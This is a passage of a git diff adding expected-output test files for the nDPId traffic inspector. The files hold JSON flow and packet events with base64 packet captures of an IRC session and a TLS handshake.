type","thread_id":0,"packet_id":1,"source":"ipv6_in_gtp.pcap","alias":"nDPId-test","type":33024} +00531{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2,"source":"ipv6_in_gtp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536840494,"pkt_ts_usec":424533,"pkt_caplen":166,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":166,"pkt_l4_len":0,"pkt":"AAAAAAABNLNUB8pVgQAMn4EAQAIIAEVYAJD2QgAA\/xGMPAruJFwK7v5NCGgIaAB8AAAw\/wBsB0wVsGANtkgARDJAKgEEyMAUFE4AAQAClFtnYSoBBMjwAA9JAAAAAAAAAAT\/O2YDAAAAQhlm1OFxgeTba50SyREjm3lFbPc9lgrLUcRYebJHYlYzSCeWv2L\/IjSAXfS1U+Rh4DDxR7yVXb8kOaI3Xg=="} +00161{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2,"source":"ipv6_in_gtp.pcap","alias":"nDPId-test","type":33024} diff --git a/test/results/irc.pcap.out b/test/results/irc.pcap.out new file mode 100644 index 000000000..be544f0c3 --- /dev/null +++ b/test/results/irc.pcap.out @@ -0,0 +1,17 @@ +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"irc.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1387554241634,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.180.156.249","dst_ip":"38.229.70.20","src_port":45921,"dst_port":8000,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00432{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"irc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1387554241,"pkt_ts_usec":634815,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AAAMB6wBABNyxPHhCABFAAA8\/+BAAEAGJjUKtJz5JuVGFLNhH0BpMfDFAAAAAKACOQj\/0AAAAgQFtAQCCAq+wg8lAAAAAAEDAwc="} +00430{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"irc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1387554241,"pkt_ts_usec":665525,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABNyxPHhANAr0XYACABFAAA8AABAADIGNBYm5UYUCrSc+R9As2GRFS01aTHwxqASFqAOiAAAAgQFtAQCCAowSCUOvsIPJQEDAwY="} +00419{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"irc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1387554241,"pkt_ts_usec":665548,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AAAMB6wBABNyxPHhCABFAAA0\/+FAAEAGJjwKtJz5JuVGFLNhH0BpMfDGkRUtNoAQAHNTYQAAAQEICr7CD0QwSCUO"} +00469{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"irc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1387554241,"pkt_ts_usec":665610,"pkt_caplen":101,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":101,"pkt_l4_len":67,"pkt":"AAAMB6wBABNyxPHhCABFAABX\/+JAAEAGJhgKtJz5JuVGFLNhH0BpMfDGkRUtNoAYAHMU8AAAAQEICr7CD0QwSCUOVVNFUiB4eHh4eCAraXcgeHh4eHggOlh4eHh4eCBYeHh4DQo="} +00419{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"irc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1387554241,"pkt_ts_usec":695656,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABNyxPHhANAr0XYACABFAAA0CCBAADIGK\/4m5UYUCrSc+R9As2GRFS02aTHw6YAQAFtTTgAAAQEICjBIJRa+wg9E"} +00443{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"irc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1387554241,"pkt_ts_usec":695673,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"AAAMB6wBABNyxPHhCABFAABF\/+NAAEAGJikKtJz5JuVGFLNhH0BpMfDpkRUtNoAYAHMU3gAAAQEICr7CD2IwSCUWTklDSyBtb2xvY2h0ZXN0DQo="} +00504{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"irc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1387554241,"pkt_ts_usec":695929,"pkt_caplen":128,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":128,"pkt_l4_len":94,"pkt":"ABNyxPHhANAr0XYACABFAAByCCFAADIGK78m5UYUCrSc+R9As2GRFS02aTHw6YAYAFuk2AAAAQEICjBIJRa+wg9EOmNhcmQuZnJlZW5vZGUubmV0IE5PVElDRSAqIDoqKiogTG9va2luZyB1cCB5b3VyIGhvc3RuYW1lLi4uDQo="} +00545{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":7,"source":"irc.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":7,"flow_first_seen":1387554241634,"flow_last_seen":1387554241695,"flow_tot_l4_data_len":354,"flow_min_l4_data_len":32,"flow_max_l4_data_len":94,"flow_avg_l4_data_len":50,"midstream":0,"l3_proto":"ip4","src_ip":"10.180.156.249","dst_ip":"38.229.70.20","src_port":45921,"dst_port":8000,"l4_proto":"tcp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"IRC","breed":"Unsafe","category":"Chat"}} +00419{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"irc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1387554241,"pkt_ts_usec":695943,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AAAMB6wBABNyxPHhCABFAAA0\/+RAAEAGJjkKtJz5JuVGFLNhH0BpMfD6kRUtdIAQAHNSyQAAAQEICr7CD2IwSCUW"} +00488{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"irc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1387554241,"pkt_ts_usec":726130,"pkt_caplen":115,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":115,"pkt_l4_len":81,"pkt":"ABNyxPHhANAr0XYACABFAABlCCJAADIGK8sm5UYUCrSc+R9As2GRFS10aTHw+oAYAFuqEAAAAQEICjBIJR2+wg9iOmNhcmQuZnJlZW5vZGUubmV0IE5PVElDRSAqIDoqKiogQ2hlY2tpbmcgSWRlbnQNCg=="} +00421{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"irc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1387554241,"pkt_ts_usec":726146,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AAAMB6wBABNyxPHhCABFAAA0\/+VAAEAGJjgKtJz5JuVGFLNhH0BpMfD6kRUtpYAQAHNScwAAAQEICr7CD4AwSCUd"} +00494{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"irc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1387554241,"pkt_ts_usec":780962,"pkt_caplen":120,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":120,"pkt_l4_len":86,"pkt":"ABNyxPHhANAr0XYACABFAABqCCNAADIGK8Um5UYUCrSc+R9As2GRFS2laTHw+oAYAFvOTQAAAQEICjBIJSu+wg+AOmNhcmQuZnJlZW5vZGUubmV0IE5PVElDRSAqIDoqKiogRm91bmQgeW91ciBob3N0bmFtZQ0K"} +00421{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"irc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1387554241,"pkt_ts_usec":780975,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AAAMB6wBABNyxPHhCABFAAA0\/+ZAAEAGJjcKtJz5JuVGFLNhH0BpMfD6kRUt24AQAHNR+AAAAQEICr7CD7cwSCUr"} +00494{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"irc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1387554250,"pkt_ts_usec":645455,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"ABNyxPHhANAr0XYACABFAABoCCRAADIGK8Ym5UYUCrSc+R9As2GRFS3baTHw+oAYAFsCCQAAAQEICjBILdO+wg+3OmNhcmQuZnJlZW5vZGUubmV0IE5PVElDRSAqIDoqKiogTm8gSWRlbnQgcmVzcG9uc2UNCg=="} +00421{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"irc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1387554250,"pkt_ts_usec":645480,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AAAMB6wBABNyxPHhCABFAAA0\/+dAAEAGJjYKtJz5JuVGFLNhH0BpMfD6kRUuD4AQAHMmewAAAQEICr7CMlgwSC3T"} +02358{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"irc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1387554250,"pkt_ts_usec":647295,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ABNyxPHhANAr0XYACABFAAXcCCVAADIGJlEm5UYUCrSc+R9As2GRFS4PaTHw+oAQAFsv4QAAAQEICjBILdS+wg+3OmNhcmQuZnJlZW5vZGUubmV0IDAwMSBtb2xvY2h0ZXN0IDpXZWxjb21lIHRvIHRoZSBmcmVlbm9kZSBJbnRlcm5ldCBSZWxheSBDaGF0IE5ldHdvcmsgbW9sb2NodGVzdA0KOmNhcmQuZnJlZW5vZGUubmV0IDAwMiBtb2xvY2h0ZXN0IDpZb3VyIGhvc3QgaXMgY2FyZC5mcmVlbm9kZS5uZXRbMzguMjI5LjcwLjIwLzgwMDBdLCBydW5uaW5nIHZlcnNpb24gaXJjZC1zZXZlbi0xLjEuMw0KOmNhcmQuZnJlZW5vZGUubmV0IDAwMyBtb2xvY2h0ZXN0IDpUaGlzIHNlcnZlciB3YXMgY3JlYXRlZCBTdW4gRGVjIDExIDIwMTEgYXQgMjI6MTY6MTAgVVRDDQo6Y2FyZC5mcmVlbm9kZS5uZXQgMDA0IG1vbG9jaHRlc3QgY2FyZC5mcmVlbm9kZS5uZXQgaXJjZC1zZXZlbi0xLjEuMyBET1FSU1phZ2hpbG9wc3d6IENGSUxNUFFTYmNlZmdpamtsbW5vcHFyc3R2eiBia2xvdmVxamZJDQo6Y2FyZC5mcmVlbm9kZS5uZXQgMDA1IG1vbG9jaHRlc3QgQ0hBTlRZUEVTPSMgRVhDRVBUUyBJTlZFWCBDSEFOTU9ERVM9ZUlicSxrLGZsaixDRkxNUFFTY2dpbW5wcnN0eiBDSEFOTElNSVQ9IzoxMjAgUFJFRklYPShvdilAKyBNQVhMSVNUPWJxZUk6MTAwIE1PREVTPTQgTkVUV09SSz1mcmVlbm9kZSBLTk9DSyBTVEFUVVNNU0c9QCsgQ0FMTEVSSUQ9ZyA6YXJlIHN1cHBvcnRlZCBieSB0aGlzIHNlcnZlcg0KOmNhcmQuZnJlZW5vZGUubmV0IDAwNSBtb2xvY2h0ZXN0IENBU0VNQVBQSU5HPXJmYzE0NTkgQ0hBUlNFVD1hc2NpaSBOSUNLTEVOPTE2IENIQU5ORUxMRU49NTAgVE9QSUNMRU49MzkwIEVUUkFDRSBDUFJJVk1TRyBDTk9USUNFIERFQUY9RCBNT05JVE9SPTEwMCBGTkMgVEFSR01BWD1OQU1FUzoxLExJU1Q6MSxLSUNLOjEsV0hPSVM6MSxQUklWTVNHOjQsTk9USUNFOjQsQUNDRVBUOixNT05JVE9SOiA6YXJlIHN1cHBvcnRlZCBieSB0aGlzIHNlcnZlcg0KOmNhcmQuZnJlZW5vZGUubmV0IDAwNSBtb2xvY2h0ZXN0IEVYVEJBTj0kLGFyeHogV0hPWCBDTElFTlRWRVI9My4wIFNBRkVMSVNUIEVMSVNUPUNUVSA6YXJlIHN1cHBvcnRlZCBieSB0aGlzIHNlcnZlcg0KOmNhcmQuZnJlZW5vZGUubmV0IDI1MSBtb2xvY2h0ZXN0IDpUaGVyZSBhcmUgMjIxIHVzZXJzIGFuZCA5MDE2NSBpbnZpc2libGUgb24gMjggc2VydmVycw0KOmNhcmQuZnJlZW5vZGUubmV0IDI1MiBtb2xvY2h0ZXN0IDMxIDpJUkMgT3BlcmF0b3JzIG9ubGluZQ0KOmNhcmQuZnJlZW5vZGUubmV0IDI1MyBtb2xvY2h0ZXN0IDEgOnVua25vd24gY29ubmVjdGlvbihzKQ0KOmNhcmQuZnJlZW5vZGUubmV0IDI1NCBtb2xvY2h0ZXN0IDU0NzQwIDpjaGFubmVscyBmb3JtZWQNCjpjYXJkLmZyZWVub2RlLm5ldCAyNTUgbW9sb2NodGVzdCA6SSBoYXZlIDIzMjQgY2xpZW50cyBhbmQgOCBzZXJ2ZXJzDQo6Y2FyZC5mcmVlbm9kZS5uZXQgMjY1IG1vbG9jaHRlc3QgMjMyNCA5OTI3IDpDdXJyZW50IGxvY2FsIHVzZXJzIDI="} diff --git a/test/results/ja3_lots_of_cipher_suites.pcap.out b/test/results/ja3_lots_of_cipher_suites.pcap.out new file mode 100644 index 000000000..ba96e0cde --- /dev/null +++ b/test/results/ja3_lots_of_cipher_suites.pcap.out @@ -0,0 +1,22 @@ +00415{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1557818846,"pkt_ts_usec":743554,"pkt_caplen":74,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":74,"pkt_l4_len":0,"pkt":"AAAAAAABsKp3tUhAgQAAXYEAAQIIAEUAADTDSUAAPwad0wrOgxIKzkH55SEBu84u1gAAAAAAgAJyEJdSAAACBAW0AQEEAgEDAwI="} +00175{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","type":33024} +00415{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1557818846,"pkt_ts_usec":744536,"pkt_caplen":74,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":74,"pkt_l4_len":0,"pkt":"AAAAAAABAAd9VAeAgQAAXYEAAQIIAEUAADQAAEAAPQZjHQrOQfkKzoMSAbvlIcEFrEzOLtYBgBI5CGLyAAACBAW0AQEEAgEDAwc="} +00175{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","type":33024} +00407{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1557818846,"pkt_ts_usec":771521,"pkt_caplen":68,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAAAAAABsKp3tUhAgQAAXYEAAQIIAEUAACjDSkAAPwad3grOgxIKzkH55SEBu84u1gHBBaxNUBAchMBIAAAAAAAAAAA="} +00175{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":3,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","type":33024} +01479{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1557818846,"pkt_ts_usec":773036,"pkt_caplen":866,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":866,"pkt_l4_len":0,"pkt":"AAAAAAABsKp3tUhAgQAAXYEAAQIIAEUAA0zDS0AAPwaauQrOgxIKzkH55SEBu84u1gHBBaxNUBgchP+6AAAWAwMDHwEAAxsDA7MBwRcglDZhL6NP+OfprwtR2a2+EN2bALWxOtNOmOORAAK8AA8AxQCVwJHADcCrwH8AEQDDACXAhwCPAKvABMCZwEoAO8wU5BQAwcCbACbAaQCzALHAJACUAEMARcBlAD3AosBXAI3AEwAZABcAaeQbAGTACswV5BkApQApwD7AW8B0zBPAXAASwBfAhQAnABMAnQCZAAsAiQABACLAlcCBwAvAOcBmwCPkEwCHAG3AGMBjABrkEAA1wDAAKMB+wCAAOMCfACwAMcAvALUALsBfwG\/ALsCYAAMAmwACAC\/AP8AcAJfAKgC3AD7AgwCgwAcAhsAtwFIAkgAGwCEANABqADnAZAAMAGAAgMAdwIrAdsARwKUAhABBAAgArsAywHzARcCcALvATgA2ALwAYgC4AKjAfQAUAJYAkcBgwKfAVcBw5BYAQgBhwAXAPcBZwAkAaAC5wB8AZ8CeAGbAcsA2AKYAhQCwwFEAgsCQwDzkHsCgwBQAjgCT5B\/AqgCpAIHAqMBHAAQAEMADwFjApMAxAEvAFeQVAIgAvgCawAIArMA1wGcAScA4AAkALQC9wGHkHcBPAGvAOwBHABsAp8BQwJLAG8BaAEDAegAgAIMAo8BewEbAFsASAJDAEACfAK3AYsBtwIDAe8CIACsAnAANwCUAMMCWwCzAhMBsAAXATcBqwKHAGQCY5BfAVAAWAB7AKMB5wIbAmgBjwFbAjwBMwEzAncAzACPAa8ABAKrAdwCkAKHAeADEwCLAjsA6AD8AbABKwAgAMsCpADrAQAAHAMLANMCmwHHAGsCLAEYAPAAzAL\/AK8AnAKLAS8BTACTADsBIAETAHsBEAB\/kGMCNALoAtgC05BrABsBCwEnAQwCK5BIASAAKAIsANwAVAMAAnsCCwIzAJsAPAGUAjMCJwKPAcwAqwG7AXcBoACHAlwCywDfkHMApwJMAr8B1wEEAAAAOwAzAlOQRABgA\/wEAADYACgAGAAQAFwAYAA0AIAAeAgEDAQQBBQEGAQICAwIEAgUCBgICAwMDBAMFAwYDAAsABAMAAQI="} +00175{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":4,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","type":33024} +00407{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1557818846,"pkt_ts_usec":773618,"pkt_caplen":68,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAAAAAABAAd9VAeAgQAAXYEAAQIIAEUAACjoA0AAPQZ7JQrOQfkKzoMSAbvlIcEFrE3OLtklUBAAf9kpAAAAAAAAAAA="} +00175{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":5,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","type":33024} +02360{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1557818846,"pkt_ts_usec":909855,"pkt_caplen":1522,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1522,"pkt_l4_len":0,"pkt":"AAAAAAABAAd9VAeAgQAAXYEAAQIIAEUABdzoBEAAPQZ1cArOQfkKzoMSAbvlIcEFrE3OLtklUBAAf4KWAAAWAwMAMQIAAC0DA6eY8O1X3X3mQxpK5jBthKXbggXTdMEwSebU\/C3eGyaMAABFAAAF\/wEAAQAWAwMKsAsACqwACqkABa0wggWpMIIEkaADAgECAgRcADaSMA0GCSqGSIb3DQEBCwUAMIGwMQswCQYDVQQGEwJVUzERMA8GA1UECAwITmV3IFlvcmsxEjAQBgNVBAcMCVJvY2hlc3RlcjEaMBgGA1UECgwRWGVyb3ggQ29ycG9yYXRpb24xKzApBgNVBAsMIkdlbmVyaWMgUm9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkxMTAvBgNVBAMMKFhlcm94IEdlbmVyaWMgUm9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwHhcNMTgxMTI5MTg1NzIyWhcNMjMxMTI5MTg1NzIyWjCBsjELMAkGA1UEBhMCVVMxFDASBgNVBAgMC0Nvbm5lY3RpY3V0MRAwDgYDVQQHDAdOb3J3YWxrMRowGAYDVQQKDBFYZXJveCBDb3Jwb3JhdGlvbjEmMCQGA1UECwwdR2xvYmFsIFByb2R1Y3QgRGVsaXZlcnkgR3JvdXAxGDAWBgNVBAMMD1hSWDlDOTM0RTk0OUZFRjEdMBsGCSqGSIb3DQEJARYOdXNlckB4ZXJveC5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCzOO4XBzGAsvXAUZCvKlNS0ZkTg4CPeXJP+nJVRYA6XFVgcCBzykrSHCu0Y5U7SEcAp8qNsaTFqksYnK\/LydYXDbB8hopOYrLt9CybGPHIgOHFLqHcR7AQGMPPsqNseCPbVxC9MxESLkuuP6C+psPTMgU3We8QQepVTiTwRPkjbRt2ckXJmlv9RVwBZJw5H9Kj67ioINRaF7pzZa8+WXvRU7yezlug0Rzfp5ecju0QBU4VVZe3xUzfdZWz\/fJSPmAHkTaC2YSiwkocYvBT4zICg1P1PoEDtqIqZeii6N1m0v6iOX9IqiHmzg62Idlf1UVl5TDJNOjjpoWiNOg8STnRAgMBAAGjggHFMIIBwTAJBgNVHRMEAjAAMA4GA1UdDwEB\/wQEAwID6DARBglghkgBhvhCAQEEBAMCBeAwJwYJYIZIAYb4QgENBBoWGFhlcm94IERldmljZSBDZXJ0aWZpY2F0ZTBFBgNVHSUEPjA8BggrBgEFBQcDAQYIKwYBBQUHAwIGCCsGAQUFBwMEBggrBgEFBQcDBQYIKwYBBQUHAwYGCCsGAQUFBwMHMIHgBgNVHREEgdgwgdWkgbUwgbIxCzAJBgNVBAYTAlVTMRQwEgYDVQQIDAtDb25uZWN0aWN1dDEQMA4GA1UEBwwHTm9yd2FsazEaMBgGA1UECgwRWGVyb3ggQ29ycG9yYXRpb24xJjAkBgNVBAsMHUdsb2JhbCBQcm9kdWN0IERlbGl2ZXJ5IEdyb3VwMRgwFgYDVQQDDA9YUlg5QzkzNEU5NDlGRUYxHTAbBgkqhkiG9w0BCQEWDnVzZXJAeGVyb3guY29tghVYUlg5QzkzNEU5NDlGRUYubG9jYWyHBArOQfkwHQYDVR0OBBYEFMmJGzBJIOsjLFdZLeXCDp3CSY16MB8GA1UdIwQYMBaAFA5YSZ0ji1KMbT2VVkZ5iGGFcfkbMA0GCSqGSIb3DQEBCwUAA4IBAQB80KwxdBQ2CUwzB3yhxrGfnJ\/+Rn876RYYjG9vMongwqLQxzoMeih5ZYXUzZli4hz+h1LK1v\/Ege\/lnGMJWs5DzyRepcrJfNJyE84fIaiM7ydc4mgf4KSu\/x7gt5qX9YMDRXEHpueX87MCCsZd9AQjFk4qZRY0WhjFRvbThA5GqkFpCqA0X55jQpF7OHcvidnEDSSGJOscxoaULh4nHZ+rmU8zNBk1ygIMcR6kn+pbP+1LRFxtmg9WILz8X+C22fbQoA=="} +00175{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":6,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","type":33024} +02363{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1557818846,"pkt_ts_usec":909875,"pkt_caplen":1522,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1522,"pkt_l4_len":0,"pkt":"AAAAAAABAAd9VAeAgQAAXYEAAQIIAEUABdzoBUAAPQZ1bwrOQfkKzoMSAbvlIcEFsgHOLtklUBAAf385AAALxoVe5\/5I\/GDx\/TXFQSvGZzZlkxxeY6r7JfvE1MO5kSqJIylcqtI3CgZidU7wxPplCb4PCKG\/MIidVTuxRwAE9jCCBPIwggPaoAMCAQICAQIwDQYJKoZIhvcNAQELBQAwgbAxCzAJBgNVBAYTAlVTMREwDwYDVQQIDAhOZXcgWW9yazESMBAGA1UEBwwJUm9jaGVzdGVyMRowGAYDVQQKDBFYZXJveCBDb3Jwb3JhdGlvbjErMCkGA1UECwwiR2VuZXJpYyBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eTExMC8GA1UEAwwoWGVyb3ggR2VuZXJpYyBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eTAgFw0xNTExMTIyMzUyNDBaGA8yMDI0MDQxNTIzNTk1OVowgbAxCzAJBgNVBAYTAlVTMREwDwYDVQQIDAhOZXcgWW9yazESMBAGA1UEBwwJUm9jaGVzdGVyMRowGAYDVQQKDBFYZXJveCBDb3Jwb3JhdGlvbjErMCkGA1UECwwiR2VuZXJpYyBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eTExMC8GA1UEAwwoWGVyb3ggR2VuZXJpYyBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKt8bDMRhnfwJSIitgDFLpGuBprC4tMhmkGTeBAp8D9tAJoRmr+CQlMBB0pRzAN3w\/GP1z48MoOiOUPMjA0yAQqbt15H+uMuVo4oC0Zl\/CXAy2wCEdlvlnWBzsZx+on5aArVYHxCe638JGA7+LhPXCM+346VJRtjkNd9d11824SziT\/ygbTCBgVVvBQfxWREr4m3OIDTRnRYod7st+aMcTs4X8iIywZyrHXM2eAOP\/xODdJcpVCW5vx+mk6jJj73WVq\/XPDe0cXAxYE8sy6qGWTHvht48XMNGGpEESimKhn1YJiWKYBNbsKu1nbfEzD687rWbkrNMW0Sc\/MsgRTOAUcCAwEAAaOCAREwggENMB0GA1UdDgQWBBQOWEmdI4tSjG09lVZGeYhhhXH5GzCB3QYDVR0jBIHVMIHSgBQOWEmdI4tSjG09lVZGeYhhhXH5G6GBtqSBszCBsDELMAkGA1UEBhMCVVMxETAPBgNVBAgMCE5ldyBZb3JrMRIwEAYDVQQHDAlSb2NoZXN0ZXIxGjAYBgNVBAoMEVhlcm94IENvcnBvcmF0aW9uMSswKQYDVQQLDCJHZW5lcmljIFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5MTEwLwYDVQQDDChYZXJveCBHZW5lcmljIFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5ggECMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAFzBoKpnLrmCU34LZVg1dmsGoHKRK8ICHad1WmoTf8tebjslNeQND+QJaTFr3pX+k42\/n0u56QcCuzaiFTXHUV9FwQBXBhJRCC1Gw8JtD3KZTYD9IBg4q76pwMV3oYIc7yX0hApuPlis99BtrQ9uAJVJiqY61RayEgUpVpo+CewQOmF5JFd9ewI7lhRF\/1idFtJtNnVamFRvVESZUI+qwjibTBflOWhLITGcO7Wiztv2SGGWMWBXMEA04kzRXHZBKwPrVxAN4fFTRFJV+ONyDQcmGWoouPJiF2sv+h4P7L2o+Dy0iFjKIFY9A5Cg99pRDDKSRMAvCINP6g5IjDcjgJUWAwMDDwwAAwsBAMNj2BphFRDNLN7J8e1RH+Su2MMVc1DB3hpn71wBz6BtmNgWp4+Y2p9CQiEHz4mR1e